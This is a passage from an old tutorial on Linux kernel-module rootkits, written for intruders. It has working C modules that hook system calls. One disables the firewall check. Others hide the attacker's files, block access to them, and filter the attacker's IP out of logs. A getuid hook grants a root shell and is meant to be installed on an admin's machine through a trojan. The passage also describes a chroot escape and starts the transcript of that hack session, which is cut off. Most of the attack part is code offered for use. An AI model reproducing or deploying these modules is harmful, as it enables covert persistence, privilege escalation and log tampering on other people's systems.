+mprotect(0x4000c000, 530945, PROT_READ|PROT_EXEC) = 0
|
|
|
+mprotect(0x40000000, 20673, PROT_READ|PROT_EXEC) = 0
|
|
|
+personality(PER_LINUX) = 0
|
|
|
+geteuid() = 500
|
|
|
+getuid() = 500
|
|
|
+getgid() = 100
|
|
|
+getegid() = 100
|
|
|
+brk(0x804aa48) = 0x804aa48
|
|
|
+brk(0x804b000) = 0x804b000
|
|
|
+open("/usr/share/locale/locale.alias", O_RDONLY) = 3
|
|
|
+fstat(3, {st_mode=S_IFREG|0644, st_size=2005, ...}) = 0
|
|
|
+mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40008000
|
|
|
+read(3, "# Locale name alias data base\n#"..., 4096) = 2005
|
|
|
+brk(0x804c000) = 0x804c000
|
|
|
+read(3, "", 4096) = 0
|
|
|
+close(3) = 0
|
|
|
+munmap(0x40008000, 4096) = 0
|
|
|
+open("/usr/share/i18n/locale.alias", O_RDONLY) = -1 ENOENT (No such file or directory)
|
|
|
+open("/usr/share/locale/de_DE/LC_CTYPE", O_RDONLY) = 3
|
|
|
+fstat(3, {st_mode=S_IFREG|0644, st_size=10399, ...}) = 0
|
|
|
+mmap(0, 10399, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40008000
|
|
|
+close(3) = 0
|
|
|
+geteuid() = 500
|
|
|
+open("/etc/passwd", O_RDONLY) = 3
|
|
|
+fstat(3, {st_mode=S_IFREG|0644, st_size=1074, ...}) = 0
|
|
|
+mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000b000
|
|
|
+read(3, "root:x:0:0:root:/root:/bin/bash\n"..., 4096) = 1074
|
|
|
+close(3) = 0
|
|
|
+munmap(0x4000b000, 4096) = 0
|
|
|
+fstat(1, {st_mode=S_IFREG|0644, st_size=2798, ...}) = 0
|
|
|
+mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000b000
|
|
|
+write(1, "r00t\n", 5r00t
|
|
|
+) = 5
|
|
|
+_exit(0) = ?
|
|
|
+</xmp>
|
|
|
+
|
|
|
+This is a very nice listing of all systamcalls made by the command 'whoami',
|
|
|
+isn't it ? There are 4 interesting systemcalls to intercept in order to
|
|
|
+manipulate the output of 'whoami'
|
|
|
+
|
|
|
+<xmp>
|
|
|
+geteuid() = 500
|
|
|
+getuid() = 500
|
|
|
+getgid() = 100
|
|
|
+getegid() = 100
|
|
|
+</xmp>
|
|
|
+
|
|
|
+Take a look at II.6 for an implementation of that problem. This way of analysing
|
|
|
+programs is also very important for a quick look at other standard tools.<br>
|
|
|
+I hope you are now able to find any systemcall which can help you to hide
|
|
|
+yourself or just to backdoor the system, or whatever you want.
|
|
|
+
|
|
|
+<H3><A NAME="II.3."></A>3. Confusing the kernel's System Table</h3>
|
|
|
+
|
|
|
+In II.1 you saw how to access the sys_call_table, which is exported through the
|
|
|
+kernel symbol table. Now think about this... We can modify <i>any</i> exported item
|
|
|
+(functions, structures, variables, for example) by accessing them within our
|
|
|
+module.<br>
|
|
|
+Anything listed in /proc/ksyms can be corrupted. Remember that our module cannot
|
|
|
+be compromised that way, because we don't export any symbols. Here is a little
|
|
|
+excerpt from my /proc/ksyms file, just to show you what you can actually modify.
|
|
|
+
|
|
|
+<xmp>
|
|
|
+...
|
|
|
+001bf1dc ppp_register_compressor
|
|
|
+001bf23c ppp_unregister_compressor
|
|
|
+001e7a10 ppp_crc16_table
|
|
|
+001b9cec slhc_init
|
|
|
+001b9ebc slhc_free
|
|
|
+001baa20 slhc_remember
|
|
|
+001b9f6c slhc_compress
|
|
|
+001ba5dc slhc_uncompress
|
|
|
+001babbc slhc_toss
|
|
|
+001a79f4 register_serial
|
|
|
+001a7b40 unregister_serial
|
|
|
+00109cec dump_thread
|
|
|
+00109c98 dump_fpu
|
|
|
+001c0c90 __do_delay
|
|
|
+001c0c60 down_failed
|
|
|
+001c0c80 down_failed_interruptible
|
|
|
+001c0c70 up_wakeup
|
|
|
+001390dc sock_register
|
|
|
+00139110 sock_unregister
|
|
|
+0013a390 memcpy_fromiovec
|
|
|
+001393c8 sock_setsockopt
|
|
|
+00139640 sock_getsockopt
|
|
|
+001398c8 sk_alloc
|
|
|
+001398f8 sk_free
|
|
|
+00137b88 sock_wake_async
|
|
|
+00139a70 sock_alloc_send_skb
|
|
|
+0013a408 skb_recv_datagram
|
|
|
+0013a580 skb_free_datagram
|
|
|
+0013a5cc skb_copy_datagram
|
|
|
+0013a60c skb_copy_datagram_iovec
|
|
|
+0013a62c datagram_select
|
|
|
+00141480 inet_add_protocol
|
|
|
+001414c0 inet_del_protocol
|
|
|
+001ddd18 rarp_ioctl_hook
|
|
|
+001bade4 init_etherdev
|
|
|
+00140904 ip_rt_route
|
|
|
+001408e4 ip_rt_dev
|
|
|
+00150b84 icmp_send
|
|
|
+00143750 ip_options_compile
|
|
|
+001408c0 ip_rt_put
|
|
|
+0014faa0 arp_send
|
|
|
+0014f5ac arp_bind_cache
|
|
|
+001dd3cc ip_id_count
|
|
|
+0014445c ip_send_check
|
|
|
+00142bc0 ip_forward
|
|
|
+001dd3c4 sysctl_ip_forward
|
|
|
+0013a994 register_netdevice_notifier
|
|
|
+0013a9c8 unregister_netdevice_notifier
|
|
|
+0013ce00 register_net_alias_type
|
|
|
+0013ce4c unregister_net_alias_type
|
|
|
+001bb208 register_netdev
|
|
|
+001bb2e0 unregister_netdev
|
|
|
+001bb090 ether_setup
|
|
|
+0013d1c0 eth_type_trans
|
|
|
+0013d318 eth_copy_and_sum
|
|
|
+0014f164 arp_query
|
|
|
+00139d84 alloc_skb
|
|
|
+00139c90 kfree_skb
|
|
|
+00139f20 skb_clone
|
|
|
+0013a1d0 dev_alloc_skb
|
|
|
+0013a184 dev_kfree_skb
|
|
|
+0013a14c skb_device_unlock
|
|
|
+0013ac20 netif_rx
|
|
|
+0013ae0c dev_tint
|
|
|
+001e6ea0 irq2dev_map
|
|
|
+0013a7a8 dev_add_pack
|
|
|
+0013a7e8 dev_remove_pack
|
|
|
+0013a840 dev_get
|
|
|
+0013b704 dev_ioctl
|
|
|
+0013abfc dev_queue_xmit
|
|
|
+001e79a0 dev_base
|
|
|
+0013a8dc dev_close
|
|
|
+0013ba40 dev_mc_add
|
|
|
+0014f3c8 arp_find
|
|
|
+001b05d8 n_tty_ioctl
|
|
|
+001a7ccc tty_register_ldisc
|
|
|
+0012c8dc kill_fasync
|
|
|
+0014f164 arp_query
|
|
|
+00155ff8 register_ip_masq_app
|
|
|
+0015605c unregister_ip_masq_app
|
|
|
+00156764 ip_masq_skb_replace
|
|
|
+00154e30 ip_masq_new
|
|
|
+00154e64 ip_masq_set_expire
|
|
|
+001ddf80 ip_masq_free_ports
|
|
|
+001ddfdc ip_masq_expire
|
|
|
+001548f0 ip_masq_out_get_2
|
|
|
+001391e8 register_firewall
|
|
|
+00139258 unregister_firewall
|
|
|
+00139318 call_in_firewall
|
|
|
+0013935c call_out_firewall
|
|
|
+001392d4 call_fw_firewall
|
|
|
+...
|
|
|
+</xmp>
|
|
|
+Just look at call_in_firewall, this is a function used by the firewall management
|
|
|
+in the kernel. What would happen if we replace this function with a bogus one ?<br>
|
|
|
+Take a look at the following LKM :
|
|
|
+
|
|
|
+<xmp>
|
|
|
+#define MODULE
|
|
|
+#define __KERNEL__
|
|
|
+
|
|
|
+#include <linux/module.h>
|
|
|
+#include <linux/kernel.h>
|
|
|
+#include <asm/unistd.h>
|
|
|
+#include <sys/syscall.h>
|
|
|
+#include <sys/types.h>
|
|
|
+#include <asm/fcntl.h>
|
|
|
+#include <asm/errno.h>
|
|
|
+#include <linux/types.h>
|
|
|
+#include <linux/dirent.h>
|
|
|
+#include <sys/mman.h>
|
|
|
+#include <linux/string.h>
|
|
|
+#include <linux/fs.h>
|
|
|
+#include <linux/malloc.h>
|
|
|
+
|
|
|
+
|
|
|
+/*get the exported function*/
|
|
|
+extern int *call_in_firewall;
|
|
|
+
|
|
|
+/*our nonsense call_in_firewall*/
|
|
|
+int new_call_in_firewall()
|
|
|
+{
|
|
|
+ return 0;
|
|
|
+}
|
|
|
+
|
|
|
+int init_module(void) /*module setup*/
|
|
|
+{
|
|
|
+ call_in_firewall=new_call_in_firewall;
|
|
|
+ return 0;
|
|
|
+}
|
|
|
+
|
|
|
+void cleanup_module(void) /*module shutdown*/
|
|
|
+{
|
|
|
+}
|
|
|
+</xmp>
|
|
|
+Compile / load this LKM and do a 'ipfwadm -I -a deny'. After this do a 'ping
|
|
|
+127.0.0.1', your kernel will produce a nice error message, because the called
|
|
|
+call_in_firewall(...) function was replaced by a bogus one (you may skip the
|
|
|
+firewall installation in this example).<br>
|
|
|
+This is a quite brutal way of killing an exported symbol. You could also
|
|
|
+disassemble (using gdb) a certain symbol and modify certain bytes which will
|
|
|
+change the working of that symbol. Imagine there is a IF THEN contruction used
|
|
|
+in an exported function. How about disassembling this function and searching for
|
|
|
+commands like JNZ, JNE, ... This way you would be able to patch important items.
|
|
|
+Of course, you could lookup the functions in the kernel / module sources, but
|
|
|
+what about symbols you cannot get the source for because you only got a binary
|
|
|
+module. Here the disassembling is quite interesting.<br>
|
|
|
+
|
|
|
+
|
|
|
+<H3><A NAME="II.4."></A>4. Filesystem related Hacks</h3>
|
|
|
+
|
|
|
+The most important feature of LKM hacking is the abilaty to hide some items
|
|
|
+(your exploits, sniffer (+logs), and so on) in the local filesystem.
|
|
|
+
|
|
|
+<H4><A NAME="II.4.1."></A>4.1 How to Hide Files</h4>
|
|
|
+Imagine how an admin will find your files : He will use 'ls' and see everything.
|
|
|
+For those who don't know it, strace'in through 'ls' will show you that the
|
|
|
+systemcall used for getting directory listings is
|
|
|
+
|
|
|
+<xmp>
|
|
|
+int sys_getdents (unsigned int fd, struct dirent *dirent, unsigned int count);
|
|
|
+</xmp>
|
|
|
+So we know where to attack.The following piece of code shows the hacked_getdents
|
|
|
+systemcall adapted from AFHRM (from Michal Zalewski). This module is able to
|
|
|
+hide any file from 'ls' and <i>every</i> program using getdents systemcall.
|
|
|
+
|
|
|
+<xmp>
|
|
|
+#define MODULE
|
|
|
+#define __KERNEL__
|
|
|
+
|
|
|
+#include <linux/module.h>
|
|
|
+#include <linux/kernel.h>
|
|
|
+#include <asm/unistd.h>
|
|
|
+#include <sys/syscall.h>
|
|
|
+#include <sys/types.h>
|
|
|
+#include <asm/fcntl.h>
|
|
|
+#include <asm/errno.h>
|
|
|
+#include <linux/types.h>
|
|
|
+#include <linux/dirent.h>
|
|
|
+#include <sys/mman.h>
|
|
|
+#include <linux/string.h>
|
|
|
+#include <linux/fs.h>
|
|
|
+#include <linux/malloc.h>
|
|
|
+
|
|
|
+extern void* sys_call_table[];
|
|
|
+
|
|
|
+int (*orig_getdents) (uint, struct dirent *, uint);
|
|
|
+
|
|
|
+int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
|
|
|
+{
|
|
|
+ unsigned int tmp, n;
|
|
|
+ int t, proc = 0;
|
|
|
+ struct inode *dinode;
|
|
|
+ struct dirent *dirp2, *dirp3;
|
|
|
+ char hide[]="ourtool"; /*the file to hide*/
|
|
|
+
|
|
|
+ /*call original getdents -> result is saved in tmp*/
|
|
|
+ tmp = (*orig_getdents) (fd, dirp, count);
|
|
|
+
|
|
|
+ /*directory cache handling*/
|
|
|
+ /*this must be checked because it could be possible that a former getdents
|
|
|
+ put the results into the task process structure's dcache*/
|
|
|
+#ifdef __LINUX_DCACHE_H
|
|
|
+ dinode = current->files->fd[fd]->f_dentry->d_inode;
|
|
|
+#else
|
|
|
+ dinode = current->files->fd[fd]->f_inode;
|
|
|
+#endif
|
|
|
+
|
|
|
+ /*dinode is the inode of the required directory*/
|
|
|
+ if (tmp > 0)
|
|
|
+ {
|
|
|
+ /*dirp2 is a new dirent structure*/
|
|
|
+ dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL);
|
|
|
+ /*copy original dirent structure to dirp2*/
|
|
|
+ memcpy_fromfs(dirp2, dirp, tmp);
|
|
|
+ /*dirp3 points to dirp2*/
|
|
|
+ dirp3 = dirp2;
|
|
|
+ t = tmp;
|
|
|
+ while (t > 0)
|
|
|
+ {
|
|
|
+ n = dirp3->d_reclen;
|
|
|
+ t -= n;
|
|
|
+ /*check if current filename is the name of the file we want to hide*/
|
|
|
+ if (strstr((char *) &(dirp3->d_name), (char *) &hide) != NULL)
|
|
|
+ {
|
|
|
+ /*modify dirent struct if necessary*/
|
|
|
+ if (t != 0)
|
|
|
+ memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t);
|
|
|
+ else
|
|
|
+ dirp3->d_off = 1024;
|
|
|
+ tmp -= n;
|
|
|
+ }
|
|
|
+ if (dirp3->d_reclen == 0)
|
|
|
+ {
|
|
|
+ /*
|
|
|
+ * workaround for some shitty fs drivers that do not properly
|
|
|
+ * feature the getdents syscall.
|
|
|
+ */
|
|
|
+ tmp -= t;
|
|
|
+ t = 0;
|
|
|
+ }
|
|
|
+ if (t != 0)
|
|
|
+ dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen);
|
|
|
+ }
|
|
|
+ memcpy_tofs(dirp, dirp2, tmp);
|
|
|
+ kfree(dirp2);
|
|
|
+ }
|
|
|
+ return tmp;
|
|
|
+}
|
|
|
+
|
|
|
+
|
|
|
+int init_module(void) /*module setup*/
|
|
|
+{
|
|
|
+ orig_getdents=sys_call_table[SYS_getdents];
|
|
|
+ sys_call_table[SYS_getdents]=hacked_getdents;
|
|
|
+ return 0;
|
|
|
+}
|
|
|
+
|
|
|
+void cleanup_module(void) /*module shutdown*/
|
|
|
+{
|
|
|
+ sys_call_table[SYS_getdents]=orig_getdents;
|
|
|
+
|
|
|
+}
|
|
|
+
|
|
|
+</xmp>
|
|
|
+For beginners : read the comments and use your brain for 10 mins. <br>
|
|
|
+After that continue reading.<br>
|
|
|
+This hack is really helpful. But remember that the admin can see your file by
|
|
|
+directly accessing it. So a 'cat ourtool' or 'ls ourtool' will show him our
|
|
|
+file. So never take any trivial names for your tools like sniffer, mountdxpl.c,
|
|
|
+.... Of course their are ways to prevent an admin from reading our files, just
|
|
|
+read on.<br>
|
|
|
+
|
|
|
+<H4><A NAME="II.4.2."></A>4.2 How to hide the file contents (totally)</h4>
|
|
|
+
|
|
|
+I never saw an implementation really doing this. Of course their are LKMs like
|
|
|
+AFHRM by Michal Zalewski controlling the contents / delete functions but not
|
|
|
+really hiding the contents. I suppose their are lots of people actually using
|
|
|
+methods like this, but no one wrote on it, so I do.<br>
|
|
|
+It should be clear that there are many ways of doing this. The first way is
|
|
|
+very simple,just intercept an open systemcall checking if filename is 'ourtool'.
|
|
|
+If so deny any open-attempt, so no read / write or whatever is possible. Let's
|
|
|
+implement that LKM :<br>
|
|
|
+
|
|
|
+<xmp>
|
|
|
+#define MODULE
|
|
|
+#define __KERNEL__
|
|
|
+
|
|
|
+#include <linux/module.h>
|
|
|
+#include <linux/kernel.h>
|
|
|
+#include <asm/unistd.h>
|
|
|
+#include <sys/syscall.h>
|
|
|
+#include <sys/types.h>
|
|
|
+#include <asm/fcntl.h>
|
|
|
+#include <asm/errno.h>
|
|
|
+#include <linux/types.h>
|
|
|
+#include <linux/dirent.h>
|
|
|
+#include <sys/mman.h>
|
|
|
+#include <linux/string.h>
|
|
|
+#include <linux/fs.h>
|
|
|
+#include <linux/malloc.h>
|
|
|
+
|
|
|
+extern void* sys_call_table[];
|
|
|
+
|
|
|
+
|
|
|
+int (*orig_open)(const char *pathname, int flag, mode_t mode);
|
|
|
+
|
|
|
+
|
|
|
+int hacked_open(const char *pathname, int flag, mode_t mode)
|
|
|
+{
|
|
|
+ char *kernel_pathname;
|
|
|
+ char hide[]="ourtool";
|
|
|
+
|
|
|
+ /*this is old stuff -> transfer to kernel space*/
|
|
|
+ kernel_pathname = (char*) kmalloc(256, GFP_KERNEL);
|
|
|
+
|
|
|
+ memcpy_fromfs(kernel_pathname, pathname, 255);
|
|
|
+
|
|
|
+ if (strstr(kernel_pathname, (char*)&hide ) != NULL)
|
|
|
+ {
|
|
|
+ kfree(kernel_pathname);
|
|
|
+ /*return error code for 'file does not exist'*/
|
|
|
+ return -ENOENT;
|
|
|
+ }
|
|
|
+ else
|
|
|
+ {
|
|
|
+ kfree(kernel_pathname);
|
|
|
+ /*everything ok, it is not our tool*/
|
|
|
+ return orig_open(pathname, flag, mode);
|
|
|
+ }
|
|
|
+}
|
|
|
+
|
|
|
+
|
|
|
+int init_module(void) /*module setup*/
|
|
|
+{
|
|
|
+ orig_open=sys_call_table[SYS_open];
|
|
|
+ sys_call_table[SYS_open]=hacked_open;
|
|
|
+ return 0;
|
|
|
+}
|
|
|
+
|
|
|
+void cleanup_module(void) /*module shutdown*/
|
|
|
+{
|
|
|
+ sys_call_table[SYS_open]=orig_open;
|
|
|
+}
|
|
|
+</xmp>
|
|
|
+
|
|
|
+This works very fine, it tells anyone trying to access our files, that they
|
|
|
+are non-existent. But how do we access those files. Well there are many ways
|
|
|
+<ul>
|
|
|
+<li>implement a magic-string<br>
|
|
|
+<li>implement uid or gid check (requires creating a certain account)<br>
|
|
|
+<li>implement a time check<br>
|
|
|
+<li>...<br>
|
|
|
+</ul>
|
|
|
+There are thousands of possibilies which are all very easy to implement, so I
|
|
|
+leave this as an exercise for the reader.
|
|
|
+
|
|
|
+<H4><A NAME="II.4.3."></A>4.3 How to hide certain file parts (a prototype implementation)</h4>
|
|
|
+
|
|
|
+
|
|
|
+Well the method shown in 3.2 is very useful for our own tools / logs. But
|
|
|
+what about modifying admin / other user files. Imagine you want to control
|
|
|
+/var/log/messages for entries concerning your IP address / DNS name. We all
|
|
|
+know thousands of backdoors hiding our identity from any important logfile.
|
|
|
+But what about a LKM just filtering every string (data) written to a file. If
|
|
|
+this string contains any data concerning our identity (IP address, for example)
|
|
|
+we deny that write (we will just skip it/return). The following implementation
|
|
|
+is a very (!!) basic prototype (!!) LKM, just for showing it. I never saw it
|
|
|
+before, but as in 3.2 there may be some people using this since years.
|
|
|
+
|
|
|
+<xmp>
|
|
|
+#define MODULE
|
|
|
+#define __KERNEL__
|
|
|
+
|
|
|
+#include <linux/module.h>
|
|
|
+#include <linux/kernel.h>
|
|
|
+#include <asm/unistd.h>
|
|
|
+#include <sys/syscall.h>
|
|
|
+#include <sys/types.h>
|
|
|
+#include <asm/fcntl.h>
|
|
|
+#include <asm/errno.h>
|
|
|
+#include <linux/types.h>
|
|
|
+#include <linux/dirent.h>
|
|
|
+#include <sys/mman.h>
|
|
|
+#include <linux/string.h>
|
|
|
+#include <linux/fs.h>
|
|
|
+#include <linux/malloc.h>
|
|
|
+
|
|
|
+extern void* sys_call_table[];
|
|
|
+
|
|
|
+
|
|
|
+int (*orig_write)(unsigned int fd, char *buf, unsigned int count);
|
|
|
+
|
|
|
+int hacked_write(unsigned int fd, char *buf, unsigned int count)
|
|
|
+{
|
|
|
+ char *kernel_buf;
|
|
|
+ char hide[]="127.0.0.1"; /*the IP address we want to hide*/
|
|
|
+
|
|
|
+ kernel_buf = (char*) kmalloc(1000, GFP_KERNEL);
|
|
|
+
|
|
|
+ memcpy_fromfs(kernel_buf, buf, 999);
|
|
|
+
|
|
|
+ if (strstr(kernel_buf, (char*)&hide ) != NULL)
|
|
|
+ {
|
|
|
+ kfree(kernel_buf);
|
|
|
+ /*say the program, we have written 1 byte*/
|
|
|
+ return 1;
|
|
|
+ }
|
|
|
+ else
|
|
|
+ {
|
|
|
+ kfree(kernel_buf);
|
|
|
+ return orig_write(fd, buf, count);
|
|
|
+ }
|
|
|
+}
|
|
|
+
|
|
|
+int init_module(void) /*module setup*/
|
|
|
+{
|
|
|
+ orig_write=sys_call_table[SYS_write];
|
|
|
+ sys_call_table[SYS_write]=hacked_write;
|
|
|
+ return 0;
|
|
|
+}
|
|
|
+
|
|
|
+void cleanup_module(void) /*module shutdown*/
|
|
|
+{
|
|
|
+ sys_call_table[SYS_write]=orig_write;
|
|
|
+}
|
|
|
+</xmp>
|
|
|
+
|
|
|
+This LKM has several disadvantages, it does not check for the destination it
|
|
|
+the write is used on (can be checked via fd; read on for a sample). This means
|
|
|
+the even a 'echo '127.0.0.1'' will be printed.<br>
|
|
|
+You can also modify the string which should be written, so that it shows an IP
|
|
|
+address of someone you really like... But the general idea should be clear.<br>
|
|
|
+
|
|
|
+<H4><A NAME="II.4.4."></A>4.4 How to redirect / monitor file operations</h4>
|
|
|
+
|
|
|
+
|
|
|
+This idea is old, and was first implemented by Michal Zalewski in AFHRM.
|
|
|
+I won't show any code here, because it is too easy to implemented (after
|
|
|
+showing you II.4.3/II.4.2).There are many things you can monitor by redirection/
|
|
|
+filesystem events :
|
|
|
+<ul>
|
|
|
+<li>someone writes to a file -> copy the contents to another file
|
|
|
+ =>this can be done with sys_write(...) redirection<br>
|
|
|
+<li>someone was able to read a sensitve file -> monitor file reading of certain
|
|
|
+ files<br>
|
|
|
+ =>this can be done with sys_read(...) redirection<br>
|
|
|
+<li>someone opens a file -> we can monitor the whole system for such events<br>
|
|
|
+ =>intercept sys_open(...) and write files opened to a logfile; this is
|
|
|
+ the ways AFHRM monitors the files of a system (see IV.3 for source)<br>
|
|
|
+<li>link / unlink events -> monitor every link created<br>
|
|
|
+ =>intercept sys_link(...) (see IV.3 for source)<br>
|
|
|
+<li>rename events -> monitor every file rename event<br>
|
|
|
+ =>intercept sys_rename(...) (see IV.4 for source)<br>
|
|
|
+<li>...<br>
|
|
|
+</ul>
|
|
|
+These are very interesting points (especially for admins) because you can
|
|
|
+monitor a whole system for file changes. In my opinion it would also be
|
|
|
+interesting to monitor file / directory creations, which use commands like
|
|
|
+'touch' and 'mkdir'.<br>
|
|
|
+The command 'touch' (for example) does <i>not</i> use open for the creation process;
|
|
|
+a strace shows us the following listing (excerpt) :
|
|
|
+
|
|
|
+<xmp>
|
|
|
+...
|
|
|
+stat("ourtool", 0xbffff798) = -1 ENOENT (No such file or directory)
|
|
|
+creat("ourtool", 0666) = 3
|
|
|
+close(3) = 0
|
|
|
+_exit(0) = ?
|
|
|
+</xmp>
|
|
|
+
|
|
|
+As you can see the system uses the systemcall sys_creat(..) to create new files.
|
|
|
+I think it is not necessary to present a source,because this task is too trivial
|
|
|
+just intercept sys_creat(...) and write every filename to logfile with
|
|
|
+printk(...).<br>
|
|
|
+This is the way AFHRM logs any important events.
|
|
|
+
|
|
|
+
|
|
|
+<H4><A NAME="II.4.5."></A>4.5 How to avoid any file owner problems</h4>
|
|
|
+
|
|
|
+This hack is not only filesystem related, it is also very important for general
|
|
|
+permission problems. Have a guess which systemcall to intercept.Phrack (plaguez)
|
|
|
+suggests hooking sys_setuid(...) with a magic UID. This means whenever a setuid
|
|
|
+is used with this magic UID, the module will set the UIDs to 0 (SuperUser).<br>
|
|
|
+Let's look at his implementation(I will only show the hacked_setuid systemcall):
|
|
|
+
|
|
|
+<xmp>
|
|
|
+...
|
|
|
+int hacked_setuid(uid_t uid)
|
|
|
+{
|
|
|
+ int tmp;
|
|
|
+
|
|
|
+ /*do we have the magic UID (defined in the LKM somewhere before*/
|
|
|
+ if (uid == MAGICUID) {
|
|
|
+ /*if so set all UIDs to 0 (SuperUser)*/
|
|
|
+ current->uid = 0;
|
|
|
+ current->euid = 0;
|
|
|
+ current->gid = 0;
|
|
|
+ current->egid = 0;
|
|
|
+ return 0;
|
|
|
+ }
|
|
|
+ tmp = (*o_setuid) (uid);
|
|
|
+ return tmp;
|
|
|
+}
|
|
|
+...
|
|
|
+</xmp>
|
|
|
+
|
|
|
+I think the following trick could also be very helpful in certain situation.
|
|
|
+Imagine the following situation: You give a bad trojan to an (very silly) admin;
|
|
|
+this trojan installs the following LKM on that system [i did not implement hide
|
|
|
+features, just a prototype of my idea] :<vr>
|
|
|
+
|
|
|
+<xmp>
|
|
|
+#define MODULE
|
|
|
+#define __KERNEL__
|
|
|
+
|
|
|
+#include <linux/module.h>
|
|
|
+#include <linux/kernel.h>
|
|
|
+#include <asm/unistd.h>
|
|
|
+#include <sys/syscall.h>
|
|
|
+#include <sys/types.h>
|
|
|
+#include <asm/fcntl.h>
|
|
|
+#include <asm/errno.h>
|
|
|
+#include <linux/types.h>
|
|
|
+#include <linux/dirent.h>
|
|
|
+#include <sys/mman.h>
|
|
|
+#include <linux/string.h>
|
|
|
+#include <linux/fs.h>
|
|
|
+#include <linux/malloc.h>
|
|
|
+
|
|
|
+extern void* sys_call_table[];
|
|
|
+
|
|
|
+
|
|
|
+int (*orig_getuid)();
|
|
|
+
|
|
|
+int hacked_getuid()
|
|
|
+{
|
|
|
+ int tmp;
|
|
|
+
|
|
|
+ /*check for our UID*/
|
|
|
+ if (current->uid=500) {
|
|
|
+ /*if its our UID -> this means we log in -> give us a rootshell*/
|
|
|
+ current->uid = 0;
|
|
|
+ current->euid = 0;
|
|
|
+ current->gid = 0;
|
|
|
+ current->egid = 0;
|
|
|
+ return 0;
|
|
|
+ }
|
|
|
+ tmp = (*orig_getuid) ();
|
|
|
+ return tmp;
|
|
|
+}
|
|
|
+
|
|
|
+
|
|
|
+int init_module(void) /*module setup*/
|
|
|
+{
|
|
|
+ orig_getuid=sys_call_table[SYS_getuid];
|
|
|
+ sys_call_table[SYS_getuid]=hacked_getuid;
|
|
|
+ return 0;
|
|
|
+}
|
|
|
+
|
|
|
+void cleanup_module(void) /*module shutdown*/
|
|
|
+{
|
|
|
+ sys_call_table[SYS_getuid]=orig_getuid;
|
|
|
+}
|
|
|
+</xmp>
|
|
|
+
|
|
|
+If this LKM is loaded on a system we are only a normal user, login will give us
|
|
|
+a nice rootshell (the current process has SuperUser rights). As I said in part
|
|
|
+I current points to the current task structure.
|
|
|
+
|
|
|
+<H4><A NAME="II.4.6."></A>4.6 How to make a hacker-tools-directory unaccessible</h4>
|
|
|
+
|
|
|
+For hackers it is often important to make the directory they use for their tools
|
|
|
+(<i>advanced</i> hackers don't use the regular local filesystem to store their data).
|
|
|
+Using the getdents approach helped us to hide directory/files. The open approach
|
|
|
+helped us to make our files unaccessible. But how to make our directory
|
|
|
+unaccessible ?<br>
|
|
|
+Well - as always - take a look at include/sys/syscall.h; you should be able to
|
|
|
+figure out SYS_chdir as the systemcall we need (for people who don't believe it
|
|
|
+just strace the 'cd' command...). This time I won't give you any source, because
|
|
|
+you just need to intercept sys_mkdir, and make a string comparison. After this
|
|
|
+you should make a regular call (if it is not our directory) or return ENOTDIR
|
|
|
+(standing for 'there exists no directory with that name'). Now your tools should
|
|
|
+really be hidden from intermediate admins (advanced / paranoid ones will scan
|
|
|
+the HDD at its lowest level, but who is paranoid today besides us ?!). It should
|
|
|
+also be possible to defeat this HDD scan, because everything is based on
|
|
|
+systemcalls.<br>
|
|
|
+
|
|
|
+<H4><A NAME="II.4.7."></A>4.7 How to change CHROOT Environments </h4>
|
|
|
+
|
|
|
+This idea is totally taken from HISPAHACK (hispahack.ccc.de). They published a
|
|
|
+real good text on that theme ('Restricting a restricted FTP'). I will explain
|
|
|
+their idea in some short words. Please note that the following example will
|
|
|
+<i>not</i> work anymore, it is quite old (see wu-ftpd version). I just show
|
|
|
+it in order to explain how you can escape from chroot environments using LKMs.
|
|
|
+The following text is based on old software (wuftpd) so don't try to use it in newer
|
|
|
+wu-ftpd versions, it <i>won't</i> work.<br>
|
|
|
+HISPAHACK's paper is based on the idea of an restricted user FTP account which has the
|
|
|
+following permission layout :<br>
|
|
|
+<xmp>
|
|
|
+drwxr-xr-x 6 user users 1024 Jun 21 11:26 /home/user/
|
|
|
+drwx--x--x 2 root root 1024 Jun 21 11:26 /home/user/bin/
|
|
|
+</xmp>
|
|
|
+This scenario (which you can often find) the user (we) can rename the bin
|
|
|
+directory, because it is in our home directory.<br>
|
|
|
+Before doing anything like that let's take a look at whe working of wu.ftpd
|
|
|
+(the server they used for explanation, but the idea is more general). If we
|
|
|
+issue a LIST command ../bin/ls will be executed with UID=0 (EUID=user's uid).
|
|
|
+Before the execution is actually done wu.ftpd will use chroot(...) in order to
|
|
|
+set the process root directory in a way we are restricted to the home directory.
|
|
|
+This prevents us from accessing other parts of the filesystem via our FTP account
|
|
|
+(restricted).<br>
|
|
|
+Now imagine we could replace /bin/ls with another program, this program would
|
|
|
+be executed as root (uid=0). But what would we win, we cannot access the whole
|
|
|
+system because of the chroot(...) call. This is the point where we need a LKM
|
|
|
+helping us. We remove .../bin/ls with a program which loads a LKM supplied by
|
|
|
+us. This module will intercept the sys_chroot(...) systemcall. It must be
|
|
|
+changed in way it will no more restrict us. <br>
|
|
|
+This means we only need to be sure that sys_chroot(...) is doing nothing.
|
|
|
+HISPAHACK used a very radical way, they just modified sys_chroot(...) in a way
|
|
|
+it only returns 0 and nothing more. After loading this LKM you can spawn a new
|
|
|
+process without being restricted anymore. This means you can access the whole
|
|
|
+system with uid=0. The following listing shows the example 'Hack-Session'
|
|
|
+published by HISPAHACK :
|
|
|
+
|
|
|
+<xmp>
|
|
|
+thx:~# ftp
|
|
|
+ftp> o ilm
|
|
|
+Connected to ilm.
|
|
|
+220 ilm FTP server (Version wu-2.4(4) Wed Oct 15 16:11:18 PDT 1997) ready.
|
|
|
+Name (ilm:root): user
|
|
|
+331 Password required for user.
|
|
|
+Password:
|
|
|
+230 User user logged in. Access restrictions apply.
|
|
|
+Remote system type is UNIX.
|
|
|
+Using binary mode to transfer files.</TT></PRE>
|
|
|
+ftp> ls
|
|
|
+200 PORT command successful.
|
|
|
+150 Opening ASCII mode data connection for /bin/ls.
|
|
|
+total 5
|
|
|
+drwxr-xr-x 5 user users 1024 Jun 21 11:26 .
|
|
|
